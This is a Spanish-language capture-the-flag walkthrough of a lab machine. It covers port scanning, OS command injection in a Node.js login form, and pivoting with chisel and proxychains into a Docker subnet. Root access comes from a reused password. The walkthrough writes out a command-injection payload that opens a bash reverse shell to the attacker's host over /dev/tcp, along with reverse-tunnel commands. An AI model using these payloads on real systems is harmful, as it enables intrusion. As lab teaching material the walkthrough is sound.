Enumeración de servicios
Comenzamos con un escaneo general y específico de puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.38
❯ nmap -sCV -p80,3000 -oN 02-targeted.txt 192.168.1.38
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-25 23:53 -03
Nmap scan report for 192.168.1.38
Host is up (0.00029s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-title: LÖSEV | Lösemili Çocuklar Vakf\xC4\xB1
|_http-server-header: Apache/2.4.57 (Debian)
3000/tcp open http Node.js (Express middleware)
|_http-title: Login Page
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.49 secondsAcceso inicial mediante OS Command Injection
En http://192.168.1.38:3000/ hay un login que, al parecer, pasa los valores a un script de shell. Probamos OS Command Injection en el campo de usuario:
; bash -c "bash -i >& /dev/tcp/192.168.1.10/1234 0>&1";El punto y coma termina la orden que la aplicación pretendía construir y comienza una nueva. El segundo punto y coma separa nuestra carga de cualquier texto que el servidor añada después. bash -c interpreta las redirecciones de /dev/tcp y conecta la entrada y salida de la shell con nuestro listener, confirmando que el valor del formulario llegó sin una validación segura a un intérprete de comandos.
Pivoting hacia la red interna
Obtenemos una shell como azer y la primera flag. Al ejecutar ip a, vemos una interfaz de Docker conectada a 10.10.10.0/24, una red que no es enrutable directamente desde nuestra máquina. Usamos chisel para crear un proxy SOCKS inverso: el servidor queda en el atacante y el cliente, ejecutado en la víctima, publica el puerto 1080 a través del túnel:
❯ ./chisel server -p 8001 --reverse
azer@azer:/tmp$ ./chisel client 192.168.1.10:8001 R:1080:socksLa dirección inversa es necesaria porque la víctima sí puede iniciar una conexión hacia el atacante, mientras que nosotros no disponemos de una ruta directa hacia la red Docker. R:1080:socks hace que el puerto 1080 aparezca en nuestra máquina, pero que las conexiones salgan desde la víctima, que sí alcanza 10.10.10.0/24.
Configuramos el proxy SOCKS en /etc/proxychains.conf:
socks5 127.0.0.1 1080Creamos un script que hace curl a cada IP de la red interna:
❯ cat auto_curl.sh
for i in {1..254}; do
ip="10.10.10.$i"
curl -s $ip
doneLo ejecutamos a través de proxychains y descubrimos un host con un texto sospechoso:
❯ proxychains ./auto_curl.sh
...
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.10.10:80 ... OK
.:.AzerBulbul.:.
...proxychains intercepta las conexiones TCP iniciadas por curl y las envía al proxy SOCKS local. Así, el script no adquiere mágicamente una ruta nueva: cada petición atraviesa el túnel y se origina desde el lado comprometido. La respuesta singular de 10.10.10.10 permite distinguir ese servicio del resto de direcciones silenciosas.
Escalada de privilegios
La respuesta del host interno 10.10.10.10 expone la cadena AzerBulbul. Probamos su reutilización como contraseña local mediante su root; la autenticación funciona y podemos leer la última flag.
El servicio interno por sí solo no concede privilegios. La escalada ocurre porque el mismo secreto fue reutilizado como contraseña de la cuenta root, una separación deficiente entre una aplicación interna y las credenciales del sistema. El túnel únicamente aporta alcance de red; la autenticación como root depende de la reutilización del secreto.
Fin.